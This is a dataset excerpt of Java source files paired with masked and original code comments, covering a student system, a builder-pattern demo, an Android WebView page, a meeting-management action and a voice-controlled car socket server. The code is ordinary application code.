file_id
stringlengths 5
9
| content
stringlengths 128
32.8k
| repo
stringlengths 9
63
| path
stringlengths 8
125
| token_length
int64 36
8.14k
| original_comment
stringlengths 5
1.83k
| comment_type
stringclasses 2
values | detected_lang
stringclasses 1
value | masked_comment
stringlengths 111
32.8k
| excluded
float64 0
1
⌀ |
---|---|---|---|---|---|---|---|---|---|
44207_2 | import java.util.*;
//二、实验内容
// 1、完成一个简易学生信息系统,学生分为本科生和研究生,本科生有学号、姓名、年龄、班级、专业、
// 地址、各科成绩等信息,研究生有学号、姓名、年龄、班级、地址、导师、研究方向、各科成绩等信息
// ,所有地址包含省份、城市、街道、门牌号等信息。系统至少需要实现以下功能:增加、修改、删除学生信息,
// 浏览(各类)学生信息,可以根据班级、姓名或者学号查询学生信息,可以根据各科成绩、总成绩、
// 学号排序显示(各类)所有学生信息,能分别查看本科生、研究生人数,以及所有学生的总人数。
// 其它要求如下:
// (1)要求应用面向对象程序设计的思想,根据给定的需求进行分析,设计、实现合理的类。
// (2)类间有继承、组合关系,并画出类图。
// (3)源代码为多文件程序。
// (4)统计学生人数的变量是类中的静态数据成员。
// (5)增加和删除学生要分别考虑是否满和是否为空的边界条件。
// (6)代码规范、美观,易读、易扩展。
public class StudentDataOperation{
public static void main(String[] args) {
System.out.println("欢迎使用学生信息管理系统");
}
} | 000dust000/StudentDataOperation | StudentDataOperation.java | 388 | // 地址、各科成绩等信息,研究生有学号、姓名、年龄、班级、地址、导师、研究方向、各科成绩等信息 | line_comment | zh-cn | import java.util.*;
//二、实验内容
// 1、完成一个简易学生信息系统,学生分为本科生和研究生,本科生有学号、姓名、年龄、班级、专业、
// 地址 <SUF>
// ,所有地址包含省份、城市、街道、门牌号等信息。系统至少需要实现以下功能:增加、修改、删除学生信息,
// 浏览(各类)学生信息,可以根据班级、姓名或者学号查询学生信息,可以根据各科成绩、总成绩、
// 学号排序显示(各类)所有学生信息,能分别查看本科生、研究生人数,以及所有学生的总人数。
// 其它要求如下:
// (1)要求应用面向对象程序设计的思想,根据给定的需求进行分析,设计、实现合理的类。
// (2)类间有继承、组合关系,并画出类图。
// (3)源代码为多文件程序。
// (4)统计学生人数的变量是类中的静态数据成员。
// (5)增加和删除学生要分别考虑是否满和是否为空的边界条件。
// (6)代码规范、美观,易读、易扩展。
public class StudentDataOperation{
public static void main(String[] args) {
System.out.println("欢迎使用学生信息管理系统");
}
} | 0 |
31020_0 | package builder;
/**
* 建造者模式:将一个复杂对象的构建与它的表示分离,使得同样的构建 过程可以创建不同的表示。将构造复杂对象的过程和组成对象的部件解耦。
* 运用场景:本来只由一个小对象组成的逻辑,后来更改后需要多个小对象组成。 且不能把内部暴露客户程序。兼得可用性和安全 <br/>
* 和抽象工厂的区别:了将构建复杂对象的过程和它的部件解耦.注意: 是解耦过程和部件。建造者多出一个指导者的角色。创建模式着重于逐步将组件装配
* 成一个成品并向外提供成品,而抽象工厂模式着重于得到产品族中相关的多个产品对象<br>
*
* 组成:抽象建造者角色,具体建造者角色,指导者角色,产品角色
*
* @author yanbin
*
*/
public class BuilderPattern {
public static void main(String[] args) {
// 多态创建建造者(部件)
Builder builder = new ConcreteBuilder();
// 根据建造着实例化指导者 (构建过程)
Director director = new Director(builder);
// 利用指导者来创建
director.construct();
// 表现
Product product = builder.getResult();
System.out.println(product);
System.out.println(product.getPartA());
System.out.println(product.getPartB());
System.out.println(product.getPartC());
}
}
| 007slm/design_pattern | src/builder/BuilderPattern.java | 397 | /**
* 建造者模式:将一个复杂对象的构建与它的表示分离,使得同样的构建 过程可以创建不同的表示。将构造复杂对象的过程和组成对象的部件解耦。
* 运用场景:本来只由一个小对象组成的逻辑,后来更改后需要多个小对象组成。 且不能把内部暴露客户程序。兼得可用性和安全 <br/>
* 和抽象工厂的区别:了将构建复杂对象的过程和它的部件解耦.注意: 是解耦过程和部件。建造者多出一个指导者的角色。创建模式着重于逐步将组件装配
* 成一个成品并向外提供成品,而抽象工厂模式着重于得到产品族中相关的多个产品对象<br>
*
* 组成:抽象建造者角色,具体建造者角色,指导者角色,产品角色
*
* @author yanbin
*
*/ | block_comment | zh-cn | package builder;
/**
* 建造者 <SUF>*/
public class BuilderPattern {
public static void main(String[] args) {
// 多态创建建造者(部件)
Builder builder = new ConcreteBuilder();
// 根据建造着实例化指导者 (构建过程)
Director director = new Director(builder);
// 利用指导者来创建
director.construct();
// 表现
Product product = builder.getResult();
System.out.println(product);
System.out.println(product.getPartA());
System.out.println(product.getPartB());
System.out.println(product.getPartC());
}
}
| 1 |
55868_25 | //package com.example.wwwapplication;
//
//import androidx.appcompat.app.AppCompatActivity;
//
//import android.os.Bundle;
//import android.util.Log;
//import android.webkit.WebSettings;
//import android.webkit.WebView;
//import android.webkit.WebViewClient;
//
//import com.google.gson.Gson;
//
//import java.util.ArrayList;
//import java.util.List;
//
//public class guangchangActivity extends AppCompatActivity {
// private static final String TAG = "guangchangActivity";
// private WebView mWebView;
//
// @Override
// protected void onCreate(Bundle savedInstanceState) {
// super.onCreate(savedInstanceState);
// setContentView(R.layout.activity_guangchang);
//
// mWebView = findViewById(R.id.main_web_view);
// //解决点击链接跳转浏览器问题
// mWebView.setWebViewClient(new WebViewClient());
// //js支持
// WebSettings settings = mWebView.getSettings();
// settings.setJavaScriptEnabled(true);
// //允许访问assets目录
// settings.setAllowFileAccess(true);
// //设置WebView排版算法, 实现单列显示, 不允许横向移动
// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.SINGLE_COLUMN);
// //assets文件路径
// String path = "file:///android_asset/index.html";
// //添加Json数据
// addJson();
// //加载Html页面
// mWebView.loadUrl(path);
// }
//
// private void addJson() {
// JsSupport jsSupport = new JsSupport(this);
// List<FriendsZone> zones = new ArrayList<>();
//
//
// zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg"));
// zones.add(new FriendsZone("xxx", "images/icon.png", "#情话# #壁纸# 经典爱情伤感文字唯美带字风景图片。我不愿让你一个人,一个人在人海浮沉。与我相拥,附着一句抱歉,近来的打扰。宁愿笑着流泪,也不要哭着说后悔。一段感情不管当初有多开心,分手时就有多难过,一组爱情伤感文字分享。", "drawable/t1.jpg"));
// zones.add(new FriendsZone("Tom", "images/icon.png", "【雪莉给烤鳗鱼配音再被批 回应:你们更可恶】20日, #崔雪莉#分享一段烤鳗鱼视频→-微博视频 视频中,烤盘中的鳗鱼头还在动,雪莉在一旁配音\"啊~救救我~\"不料却遭网友批评,称鳗鱼还活着,雪莉笑着配音的做法过于残忍。随后,雪莉发文回应:“你们别吃鳗鱼。”并评论道“你们更可恶! ", "drawable/t1.jpg"));
// zones.add(new FriendsZone("Lily", "images/icon.png", "深海之蓝!!!! ", "drawable/t1.jpg"));
// zones.add(new FriendsZone("Cindy", "images/icon.png", "当我觉得我倒霉了,我就会想:这是在挥洒我的霉运,挥洒之后,剩下的就全都是幸运了! ", "drawable/t1.jpg"));
// zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg"));
// zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg"));
//
// Gson gson = new Gson();
// String json = gson.toJson(zones);
// Log.d(TAG, "addJson: json => " + json);
// jsSupport.setJson(json);
// //添加js交互接口, 并指明js中对象的调用名称
// mWebView.addJavascriptInterface(jsSupport, "weichat");
// }
//
// @Override
// public void onBackPressed() {
// if (mWebView.canGoBack()) {
// mWebView.goBack();
// } else {
// super.onBackPressed();
// }
// }
//}
//
| 01Petard/News | app/src/main/java/com/example/wwwapplication/guangchangActivity.java | 1,359 | // //设置WebView排版算法, 实现单列显示, 不允许横向移动 | line_comment | zh-cn | //package com.example.wwwapplication;
//
//import androidx.appcompat.app.AppCompatActivity;
//
//import android.os.Bundle;
//import android.util.Log;
//import android.webkit.WebSettings;
//import android.webkit.WebView;
//import android.webkit.WebViewClient;
//
//import com.google.gson.Gson;
//
//import java.util.ArrayList;
//import java.util.List;
//
//public class guangchangActivity extends AppCompatActivity {
// private static final String TAG = "guangchangActivity";
// private WebView mWebView;
//
// @Override
// protected void onCreate(Bundle savedInstanceState) {
// super.onCreate(savedInstanceState);
// setContentView(R.layout.activity_guangchang);
//
// mWebView = findViewById(R.id.main_web_view);
// //解决点击链接跳转浏览器问题
// mWebView.setWebViewClient(new WebViewClient());
// //js支持
// WebSettings settings = mWebView.getSettings();
// settings.setJavaScriptEnabled(true);
// //允许访问assets目录
// settings.setAllowFileAccess(true);
// //设置 <SUF>
// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.SINGLE_COLUMN);
// //assets文件路径
// String path = "file:///android_asset/index.html";
// //添加Json数据
// addJson();
// //加载Html页面
// mWebView.loadUrl(path);
// }
//
// private void addJson() {
// JsSupport jsSupport = new JsSupport(this);
// List<FriendsZone> zones = new ArrayList<>();
//
//
// zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg"));
// zones.add(new FriendsZone("xxx", "images/icon.png", "#情话# #壁纸# 经典爱情伤感文字唯美带字风景图片。我不愿让你一个人,一个人在人海浮沉。与我相拥,附着一句抱歉,近来的打扰。宁愿笑着流泪,也不要哭着说后悔。一段感情不管当初有多开心,分手时就有多难过,一组爱情伤感文字分享。", "drawable/t1.jpg"));
// zones.add(new FriendsZone("Tom", "images/icon.png", "【雪莉给烤鳗鱼配音再被批 回应:你们更可恶】20日, #崔雪莉#分享一段烤鳗鱼视频→-微博视频 视频中,烤盘中的鳗鱼头还在动,雪莉在一旁配音\"啊~救救我~\"不料却遭网友批评,称鳗鱼还活着,雪莉笑着配音的做法过于残忍。随后,雪莉发文回应:“你们别吃鳗鱼。”并评论道“你们更可恶! ", "drawable/t1.jpg"));
// zones.add(new FriendsZone("Lily", "images/icon.png", "深海之蓝!!!! ", "drawable/t1.jpg"));
// zones.add(new FriendsZone("Cindy", "images/icon.png", "当我觉得我倒霉了,我就会想:这是在挥洒我的霉运,挥洒之后,剩下的就全都是幸运了! ", "drawable/t1.jpg"));
// zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg"));
// zones.add(new FriendsZone("www", "images/icon.png", "【小清新风光的场景唯美插画图片】“期待万物复苏的春天,好像可以给自己一个理由,扔掉一切糟糕的情绪,拍一拍身上的尘土,继续笑着向前。”让他带你慢慢入梦! ", "drawable/t1.jpg"));
//
// Gson gson = new Gson();
// String json = gson.toJson(zones);
// Log.d(TAG, "addJson: json => " + json);
// jsSupport.setJson(json);
// //添加js交互接口, 并指明js中对象的调用名称
// mWebView.addJavascriptInterface(jsSupport, "weichat");
// }
//
// @Override
// public void onBackPressed() {
// if (mWebView.canGoBack()) {
// mWebView.goBack();
// } else {
// super.onBackPressed();
// }
// }
//}
//
| 0 |
46292_13 | package com.huiguanjia.action;
import java.util.*;
import org.apache.struts2.json.JSONException;
import org.apache.struts2.json.JSONUtil;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
import com.alibaba.fastjson.JSON;
import com.huiguanjia.pojo.Department;
import com.huiguanjia.pojo.Meeting;
import com.huiguanjia.pojo.OrdinaryUser;
import com.huiguanjia.service.CompanyManagerService;
import com.huiguanjia.service.DepartmentService;
import com.huiguanjia.service.MeetingService; //if import com.huigunajia.service.MeetingBulletinService?
//import com.huiguanjia.util.QiniuyunQRcodeUtil;
import com.huiguanjia.util.QiniuyunUtil;
import com.huiguanjia.util.RandomUtil;
public class MeetingAction extends MyActionSupport{
private static final long serialVersionUID = 2782570898187961833L;
private String meetingId; //会议
private String meetingName; //会议名
private String meetingContent; //会议内容
private String meetingLocation; //会议地点
private String meetingCreatorId; //创建者id(cellphone),null=true?
private String meetingRemark; //会议备注null=true
// private String meetingQrcode; //会议二维码
private Integer meetingState; //会议状态:0活动 1完成 2删除
private Integer meetingFrequency; //频率:1单次2每天3每周4每月
private String meetingStartTime; //会议开始时间
private String meetingPredictFinishTime; //预期结束时间
private String meetingCreateTime; //该记录的创建时间
private String meetingFinishTime; //会议实际完成时间
private String meetingDeleteTime; //会议删除时间
private String cellphone; //普通用户主键
private String username; //公司管理员主键
private String path; //存放二维码路径
//0:获取全部会议;1:获取用户创建/组织的会议;2:获取用户参与的会议
private int listType;
private Map<String,Object> jsonData;
public String execute() throws Exception{
return "json";
}
public String create() throws Exception {
jsonData = new HashMap<String,Object>();
// 生成meetingId
String meetingId = RandomUtil.UUID();
OrdinaryUser user = new OrdinaryUser();
user.setCellphone(meetingCreatorId);
// 二维码的url
String meetingQrcode = "https://www.huiguanjia.com/api/v1/u/meeting"+meetingId;
Meeting meeting = new Meeting(meetingId,user, meetingName,
meetingContent, meetingLocation,
meetingRemark, meetingQrcode, 0,
meetingFrequency, meetingStartTime,
meetingPredictFinishTime, meetingCreateTime,
null, null);
MeetingService ms= new MeetingService();
// QiniuyunQRcodeUtil qiniuyunQRcodeUtil = new QiniuyunQRcodeUtil();
if(false ==ms.create(meeting)){
jsonData.put("code", -1);
}
else{
// 创建会议成功,生成二维码图片到本地指定路径里面,上传二维码到七牛云
jsonData.put("code", 0);
// try{
//// String path = "test.gif";
// String path = RandomUtil.UUID()+".gif";
// ms.putMeetingQrcode(meetingQrcode,path);
// QiniuyunUtil qiniuyunUtil = new QiniuyunUtil();
// qiniuyunUtil.upTokenFile(path);
// // 生成指向二维码图片的url,返回这个url
// jsonData.put("url",qiniuyunUtil.downloadFile(path));
// }
// catch(Exception e){
//
// }
}
return SUCCESS;
}
public String delete(){
jsonData = new HashMap<String,Object>();
MeetingService ms= new MeetingService();
jsonData.put("code", ms.delete(meetingId,cellphone));
return SUCCESS;
}
public String finish(){
jsonData = new HashMap<String,Object>();
MeetingService ms= new MeetingService();
jsonData.put("code", ms.finish(meetingId,cellphone));
return SUCCESS;
}
public String update(){
jsonData = new HashMap<String,Object>();
Meeting meeting = new Meeting();
meeting.setMeetingId(meetingId);
meeting.setMeetingName(meetingName);
meeting.setMeetingContent(meetingContent);
meeting.setMeetingLocation(meetingLocation);
meeting.setMeetingRemark(meetingRemark);
meeting.setMeetingStartTime(meetingStartTime);
meeting.setMeetingPredictFinishTime(meetingPredictFinishTime);
meeting.setMeetingFrequency(meetingFrequency);
MeetingService ms = new MeetingService();
if(false == ms.update(meeting)){
jsonData.put("code", -1);
}
else{
jsonData.put("code", 0);
}
return SUCCESS;
}
/**
* @info 根据会议ID搜索会议
* @return
* @throws JSONException
*/
public String findByMeetingId(){
jsonData = new HashMap<String,Object>();
MeetingService ms = new MeetingService();
String meeting = ms.findByMeetingId(meetingId);
jsonData.put("meeting", meeting);
// System.out.println(meeting);
return SUCCESS;
}
/**
* @info 普通用户 获取会议列表
* @return
*/
public String findMeetingList(){
jsonData = new HashMap<String,Object>();
MeetingService ms = new MeetingService();
String meetinglist = ms.findMeetingList(cellphone, meetingState, listType);
if(null == meetinglist){
jsonData.put("code", -1);
// jsonData.put("meetinglist", "");
}
else{
jsonData.put("code", 0);
jsonData.put("meetinglist", meetinglist);
}
return SUCCESS;
}
/**
* @info 普通用户根据会议名称搜索会议
* @return
*/
public String findByMeetingName1(){
jsonData = new HashMap<String,Object>();
MeetingService ms = new MeetingService();
String list = ms.findByMeetingName1(meetingName,cellphone);
if(null == list){
jsonData.put("code", -1);
jsonData.put("meetings", "");
}
else{
jsonData.put("code", 0);
jsonData.put("meetings", list);
System.out.println(JSON.toJSONString(jsonData));
}
return SUCCESS;
}
/**
* @info 公司管理员会议名称搜索会议
* @return
*/
public String findByMeetingName2(){
jsonData = new HashMap<String,Object>();
MeetingService ms = new MeetingService();
String list = ms.findByMeetingName2(meetingName,username);
if(null == list){
jsonData.put("code", -1);
jsonData.put("meetings", "");
}
else{
jsonData.put("code", 0);
jsonData.put("meetings", list);
System.out.println(JSON.toJSONString(jsonData));
}
return SUCCESS;
}
//
// /**
// * @info 根据公司管理员名字来搜索会议
// * @return
// */
// public String findByCompanyManagerName(){
// jsonData = new HashMap<String,Object>();
// MeetingService ms = new MeetingService();
// String list = ms.findByUserId(meetingCreatorId);
// if(null == list){
// jsonData.put("code", -1);
// jsonData.put("meetings", "");
// }
// else{
// jsonData.put("code", 0);
// jsonData.put("meetings", list);
// System.out.println(JSON.toJSONString(jsonData));
// }
//
// return SUCCESS;
// }
//
//setter and getter
public String getMeetingId() {
return meetingId;
}
public void setMeetingId(String meetingId) {
this.meetingId = meetingId;
}
public String getMeetingLocation() {
return meetingLocation;
}
public void setMeetingLocation(String meetingLocation) {
this.meetingLocation = meetingLocation;
}
public String getMeetingContent() {
return meetingContent;
}
public void setMeetingContent(String meetingContent) {
this.meetingContent = meetingContent;
}
public String getMeetingName() {
return meetingName;
}
public void setMeetingName(String meetingName) {
this.meetingName = meetingName;
}
public String getMeetingRemark() {
return meetingRemark;
}
public void setMeetingRemark(String meetingRemark) {
this.meetingRemark = meetingRemark;
}
public String getMeetingCreatorId() {
return meetingCreatorId;
}
public void setMeetingCreatorId(String meetingCreatorId) {
this.meetingCreatorId = meetingCreatorId;
}
// public String getMeetingQrcode() {
// return meetingQrcode;
// }
//
// public void setMeetingQrcode(String meetingQrcode) {
// this.meetingQrcode = meetingQrcode;
// }
public String getMeetingStartTime() {
return meetingStartTime;
}
public void setMeetingStartTime(String meetingStartTime) {
this.meetingStartTime = meetingStartTime;
}
public String getMeetingCreateTime() {
return meetingCreateTime;
}
public void setMeetingCreateTime(String meetingCreateTime) {
this.meetingCreateTime = meetingCreateTime;
}
public String getMeetingPredictFinishTime() {
return meetingPredictFinishTime;
}
public void setMeetingPredictFinishTime(String meetingPredictFinishTime) {
this.meetingPredictFinishTime = meetingPredictFinishTime;
}
public String getMeetingFinishTime() {
return meetingFinishTime;
}
public void setMeetingFinishTime(String meetingFinishTime) {
this.meetingFinishTime = meetingFinishTime;
}
public String getMeetingDeleteTime() {
return meetingDeleteTime;
}
public void setMeetingDeleteTime(String meetingDeleteTime) {
this.meetingDeleteTime = meetingDeleteTime;
}
public int getMeetingState() {
return meetingState;
}
public void setMeetingState(int meetingState) {
this.meetingState = meetingState;
}
public int getMeetingFrequency() {
return meetingFrequency;
}
public void setMeetingFrequency(int meetingFrequency) {
this.meetingFrequency = meetingFrequency;
}
public String getCellphone() {
return cellphone;
}
public void setCellphone(String cellphone) {
this.cellphone = cellphone;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPath(){
return path;
}
public void setListType(int type){
this.listType = type;
}
public int getListType(){
return listType;
}
public void setPath(String path){
this.path = path;
}
public Map<String,Object> getJsonData(){
return jsonData;
}
}
| 0326/MeetingMng | src/com/huiguanjia/action/MeetingAction.java | 2,972 | //会议实际完成时间 | line_comment | zh-cn | package com.huiguanjia.action;
import java.util.*;
import org.apache.struts2.json.JSONException;
import org.apache.struts2.json.JSONUtil;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
import com.alibaba.fastjson.JSON;
import com.huiguanjia.pojo.Department;
import com.huiguanjia.pojo.Meeting;
import com.huiguanjia.pojo.OrdinaryUser;
import com.huiguanjia.service.CompanyManagerService;
import com.huiguanjia.service.DepartmentService;
import com.huiguanjia.service.MeetingService; //if import com.huigunajia.service.MeetingBulletinService?
//import com.huiguanjia.util.QiniuyunQRcodeUtil;
import com.huiguanjia.util.QiniuyunUtil;
import com.huiguanjia.util.RandomUtil;
public class MeetingAction extends MyActionSupport{
private static final long serialVersionUID = 2782570898187961833L;
private String meetingId; //会议
private String meetingName; //会议名
private String meetingContent; //会议内容
private String meetingLocation; //会议地点
private String meetingCreatorId; //创建者id(cellphone),null=true?
private String meetingRemark; //会议备注null=true
// private String meetingQrcode; //会议二维码
private Integer meetingState; //会议状态:0活动 1完成 2删除
private Integer meetingFrequency; //频率:1单次2每天3每周4每月
private String meetingStartTime; //会议开始时间
private String meetingPredictFinishTime; //预期结束时间
private String meetingCreateTime; //该记录的创建时间
private String meetingFinishTime; //会议 <SUF>
private String meetingDeleteTime; //会议删除时间
private String cellphone; //普通用户主键
private String username; //公司管理员主键
private String path; //存放二维码路径
//0:获取全部会议;1:获取用户创建/组织的会议;2:获取用户参与的会议
private int listType;
private Map<String,Object> jsonData;
public String execute() throws Exception{
return "json";
}
public String create() throws Exception {
jsonData = new HashMap<String,Object>();
// 生成meetingId
String meetingId = RandomUtil.UUID();
OrdinaryUser user = new OrdinaryUser();
user.setCellphone(meetingCreatorId);
// 二维码的url
String meetingQrcode = "https://www.huiguanjia.com/api/v1/u/meeting"+meetingId;
Meeting meeting = new Meeting(meetingId,user, meetingName,
meetingContent, meetingLocation,
meetingRemark, meetingQrcode, 0,
meetingFrequency, meetingStartTime,
meetingPredictFinishTime, meetingCreateTime,
null, null);
MeetingService ms= new MeetingService();
// QiniuyunQRcodeUtil qiniuyunQRcodeUtil = new QiniuyunQRcodeUtil();
if(false ==ms.create(meeting)){
jsonData.put("code", -1);
}
else{
// 创建会议成功,生成二维码图片到本地指定路径里面,上传二维码到七牛云
jsonData.put("code", 0);
// try{
//// String path = "test.gif";
// String path = RandomUtil.UUID()+".gif";
// ms.putMeetingQrcode(meetingQrcode,path);
// QiniuyunUtil qiniuyunUtil = new QiniuyunUtil();
// qiniuyunUtil.upTokenFile(path);
// // 生成指向二维码图片的url,返回这个url
// jsonData.put("url",qiniuyunUtil.downloadFile(path));
// }
// catch(Exception e){
//
// }
}
return SUCCESS;
}
public String delete(){
jsonData = new HashMap<String,Object>();
MeetingService ms= new MeetingService();
jsonData.put("code", ms.delete(meetingId,cellphone));
return SUCCESS;
}
public String finish(){
jsonData = new HashMap<String,Object>();
MeetingService ms= new MeetingService();
jsonData.put("code", ms.finish(meetingId,cellphone));
return SUCCESS;
}
public String update(){
jsonData = new HashMap<String,Object>();
Meeting meeting = new Meeting();
meeting.setMeetingId(meetingId);
meeting.setMeetingName(meetingName);
meeting.setMeetingContent(meetingContent);
meeting.setMeetingLocation(meetingLocation);
meeting.setMeetingRemark(meetingRemark);
meeting.setMeetingStartTime(meetingStartTime);
meeting.setMeetingPredictFinishTime(meetingPredictFinishTime);
meeting.setMeetingFrequency(meetingFrequency);
MeetingService ms = new MeetingService();
if(false == ms.update(meeting)){
jsonData.put("code", -1);
}
else{
jsonData.put("code", 0);
}
return SUCCESS;
}
/**
* @info 根据会议ID搜索会议
* @return
* @throws JSONException
*/
public String findByMeetingId(){
jsonData = new HashMap<String,Object>();
MeetingService ms = new MeetingService();
String meeting = ms.findByMeetingId(meetingId);
jsonData.put("meeting", meeting);
// System.out.println(meeting);
return SUCCESS;
}
/**
* @info 普通用户 获取会议列表
* @return
*/
public String findMeetingList(){
jsonData = new HashMap<String,Object>();
MeetingService ms = new MeetingService();
String meetinglist = ms.findMeetingList(cellphone, meetingState, listType);
if(null == meetinglist){
jsonData.put("code", -1);
// jsonData.put("meetinglist", "");
}
else{
jsonData.put("code", 0);
jsonData.put("meetinglist", meetinglist);
}
return SUCCESS;
}
/**
* @info 普通用户根据会议名称搜索会议
* @return
*/
public String findByMeetingName1(){
jsonData = new HashMap<String,Object>();
MeetingService ms = new MeetingService();
String list = ms.findByMeetingName1(meetingName,cellphone);
if(null == list){
jsonData.put("code", -1);
jsonData.put("meetings", "");
}
else{
jsonData.put("code", 0);
jsonData.put("meetings", list);
System.out.println(JSON.toJSONString(jsonData));
}
return SUCCESS;
}
/**
* @info 公司管理员会议名称搜索会议
* @return
*/
public String findByMeetingName2(){
jsonData = new HashMap<String,Object>();
MeetingService ms = new MeetingService();
String list = ms.findByMeetingName2(meetingName,username);
if(null == list){
jsonData.put("code", -1);
jsonData.put("meetings", "");
}
else{
jsonData.put("code", 0);
jsonData.put("meetings", list);
System.out.println(JSON.toJSONString(jsonData));
}
return SUCCESS;
}
//
// /**
// * @info 根据公司管理员名字来搜索会议
// * @return
// */
// public String findByCompanyManagerName(){
// jsonData = new HashMap<String,Object>();
// MeetingService ms = new MeetingService();
// String list = ms.findByUserId(meetingCreatorId);
// if(null == list){
// jsonData.put("code", -1);
// jsonData.put("meetings", "");
// }
// else{
// jsonData.put("code", 0);
// jsonData.put("meetings", list);
// System.out.println(JSON.toJSONString(jsonData));
// }
//
// return SUCCESS;
// }
//
//setter and getter
public String getMeetingId() {
return meetingId;
}
public void setMeetingId(String meetingId) {
this.meetingId = meetingId;
}
public String getMeetingLocation() {
return meetingLocation;
}
public void setMeetingLocation(String meetingLocation) {
this.meetingLocation = meetingLocation;
}
public String getMeetingContent() {
return meetingContent;
}
public void setMeetingContent(String meetingContent) {
this.meetingContent = meetingContent;
}
public String getMeetingName() {
return meetingName;
}
public void setMeetingName(String meetingName) {
this.meetingName = meetingName;
}
public String getMeetingRemark() {
return meetingRemark;
}
public void setMeetingRemark(String meetingRemark) {
this.meetingRemark = meetingRemark;
}
public String getMeetingCreatorId() {
return meetingCreatorId;
}
public void setMeetingCreatorId(String meetingCreatorId) {
this.meetingCreatorId = meetingCreatorId;
}
// public String getMeetingQrcode() {
// return meetingQrcode;
// }
//
// public void setMeetingQrcode(String meetingQrcode) {
// this.meetingQrcode = meetingQrcode;
// }
public String getMeetingStartTime() {
return meetingStartTime;
}
public void setMeetingStartTime(String meetingStartTime) {
this.meetingStartTime = meetingStartTime;
}
public String getMeetingCreateTime() {
return meetingCreateTime;
}
public void setMeetingCreateTime(String meetingCreateTime) {
this.meetingCreateTime = meetingCreateTime;
}
public String getMeetingPredictFinishTime() {
return meetingPredictFinishTime;
}
public void setMeetingPredictFinishTime(String meetingPredictFinishTime) {
this.meetingPredictFinishTime = meetingPredictFinishTime;
}
public String getMeetingFinishTime() {
return meetingFinishTime;
}
public void setMeetingFinishTime(String meetingFinishTime) {
this.meetingFinishTime = meetingFinishTime;
}
public String getMeetingDeleteTime() {
return meetingDeleteTime;
}
public void setMeetingDeleteTime(String meetingDeleteTime) {
this.meetingDeleteTime = meetingDeleteTime;
}
public int getMeetingState() {
return meetingState;
}
public void setMeetingState(int meetingState) {
this.meetingState = meetingState;
}
public int getMeetingFrequency() {
return meetingFrequency;
}
public void setMeetingFrequency(int meetingFrequency) {
this.meetingFrequency = meetingFrequency;
}
public String getCellphone() {
return cellphone;
}
public void setCellphone(String cellphone) {
this.cellphone = cellphone;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPath(){
return path;
}
public void setListType(int type){
this.listType = type;
}
public int getListType(){
return listType;
}
public void setPath(String path){
this.path = path;
}
public Map<String,Object> getJsonData(){
return jsonData;
}
}
| 0 |
37053_3 | import java.io.*;
import java.net.*;
import java.util.*;
import java.util.Map.Entry;
public class server{
public static void main(String args[])throws Exception{
try{
//链式散列集用来存储与小车连接的线程0
Map<String,serverthread> threadList = new HashMap<String,serverthread>();
ServerSocket server = new ServerSocket(8888);
while(true){
Socket socket = server.accept();
System.out.println("connection ok!");
new serverthread(socket,threadList).start();
}
}
catch(Exception e){
//server.close();
}
}
}
class serverthread extends Thread{
Socket socket;
BufferedReader in = null;
PrintWriter out;
BufferedReader sin;
Map<String,serverthread> threadList;
static int i = 0;
String car = null;
String ist = null;
public serverthread(Socket socket,Map<String,serverthread> threadList){
this.socket = socket;
//this.set = set;
this.threadList = threadList;
i++;
car = "car"+i;
threadList.put(car,this);
System.out.println("add suceess!");
}
public void run(){
try{
out = new PrintWriter(socket.getOutputStream(),true);//发送数据
in = new BufferedReader(new InputStreamReader(socket.getInputStream()));//获取client端流
//System.out.println("in ok!"+in.readLine());
if(in != null){
String s = in.readLine();
System.out.println("st:"+s);
if(s.startsWith("phone")){
threadList.remove(car);
}
Iterator<Entry<String,serverthread>> it = threadList.entrySet().iterator();
while (it.hasNext()&&s!=null) {
Map.Entry entry = (Map.Entry) it.next();
//返回对应到该条目的值
serverthread st = (serverthread) entry.getValue();
if(st!=this){
st.out.println(instruct(s));
System.out.println("send:"+instruct(s));
out.println(instruct(s));
}
}
}
//sin = new BufferedReader(new InputStreamReader(System.in));
//返回一个包含中条目的规则集(迭代器)
System.out.println("end");
in.close();
out.close();
socket.close();
}catch(Exception e){}
}
public String instruct(String st){
for(int j = 0;j<st.length();j++){
//System.out.println(st.substring(i,i+1));
String st1 = st.substring(j,j+1);
System.out.println("st1:"+st1);
if(st1.equals("前")||st1.equals("钱")||st1.equals("近")||st1.equals("进")){
System.out.println("result:a");
return "A";
}else if(st1.equals("后")||st1.equals("退")){
System.out.println("result:b");
return "B";
}else if(st1.equals("右")||st1.equals("有")){
System.out.println("result:d");
return "D";
}else if(st1.equals("左")||st1.equals("夺")||st1.equals("冠")){
System.out.println("result:c");
return "C";
}else if(st1.equals("停")||st1.equals("傻")||st1.equals("逼")){
System.out.println("result:i");
return "I";
}
}
return "null";
}
}
| 068089dy/voice-wifi-car | server.java | 867 | //发送数据 | line_comment | zh-cn | import java.io.*;
import java.net.*;
import java.util.*;
import java.util.Map.Entry;
public class server{
public static void main(String args[])throws Exception{
try{
//链式散列集用来存储与小车连接的线程0
